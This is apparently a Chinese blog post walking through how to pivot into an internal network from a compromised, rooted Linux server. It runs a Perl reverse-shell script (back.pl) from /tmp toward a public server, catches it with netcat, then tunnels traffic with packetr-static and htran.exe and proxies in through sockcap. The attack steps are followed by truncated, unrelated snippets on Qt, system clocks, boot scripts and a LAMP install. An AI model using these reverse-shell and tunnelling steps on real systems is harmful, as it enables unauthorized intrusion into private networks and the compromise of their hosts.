Linux下的内网反弹实例
环境:
被攻陷的Linux主机(拿到root权限)-----模拟为我内网的一台Linux服务器 192.168.0.105
hack的操作用机-----我的电脑 192.168.1.101
反弹到公网的服务器-----我自己的公网服务器 61.160.2xx.xxx
渗透测试用的windows测试机 192.168.1.109
工具:
packetr-static Linux下的
htran.exe windows下的
sockcap 用作代理进入内网渗透的利器
过程:
1.我模拟下极度苛刻的情况下的环境,该攻陷的Linux服务器对外不开放22,只存在web端口80,那么我们必须得反弹shell到公网的机器上,这点我虚拟机里面没 这个环境,我就直接说下简要的
上传back.pl文件到linux下的tmp目录下,执行
perl /tmp/back.pl xxx.xxx.xxx.xxx 端口
在公网的服务器上,运行nc执行
nc -l -v -p 端口(跟上面的一样)
现在我弹2个窗口回来,一个开代理,一个转发数据
把packetr-static传上去,执行
./packetr-static -s 1988
一个窗口转发数据,执行
./packetr-static -slave 61.160.20x.xxx 123 127.0.0.1 1988
2.在windows公网端执行,
htran.exe -p -listen 123 1988
3.配置sockcap
4.运行代理程序进入内网
相关文档：
Qt
for Embedded Linux Architecture
http://doc.qt.nokia.com/4.6/qt-embedded-architecture.html
针对嵌入式LINUX操作系统的QT的架构
公司将运行在嵌入式LINUX设备（嵌入式设备；该设备上运行的操作系统是LINUX）上的QT做了一些定制和修改，使其更适合嵌入式设备上的LINUX系统上运行。以下将这样针对LINUX嵌入式设� ......
由于两个系统设定时间时以主板CMOS内的时间为依据，但却有不同的时间计算标准。所以导致了系统时间的纠纷问题。
Linux和苹果操作系统以当前主板CMOS内时间做为格林威治标准时间，再根据系统设置的时区来最终确定当前系统时间（如时区设置为GMT+08:00北京时间时以及当前CMOS时间为03 ......
Linux太伟大了，什么东西都可以由你来做主，Linux加载完内核后，所有的其他系统服务，进程，都是靠脚本来加载的。所以Linux是这么的透明，
你可以清除的指导你的系统做了什么。
下面我就对Linux的启动脚本做了注释，该脚本是属于LFS的，因为该系统比较小，所 ......
本文网址:http://bbs.bitscn.com/72875 复制 【转自bbs.bitsCN.com】
1. Linux 脚本编写基础
1.1 语法基本介绍
1.1.1 开头
程序必须以下面的行开始（必须放在文件的第一行）：
#!/bin/sh
符号#!用来告诉系统它后面的� ......
【转】http://www.linuxsir.org/main/?q=node/241
1.安装环境
操作系统：Red Hat Linux Enterprise AS 4.0
数据库：MySQL 5.0.24
Web服务器：Apache 2.2.3
脚本语言：PHP 5.1.6
2.安装MySQL 5.0.24
-------------下载软件包mysql-5.0.24.tar.gz，地址http://www.mysql.com-------------
# tar zvxf mysql-5.0.24.ta ......
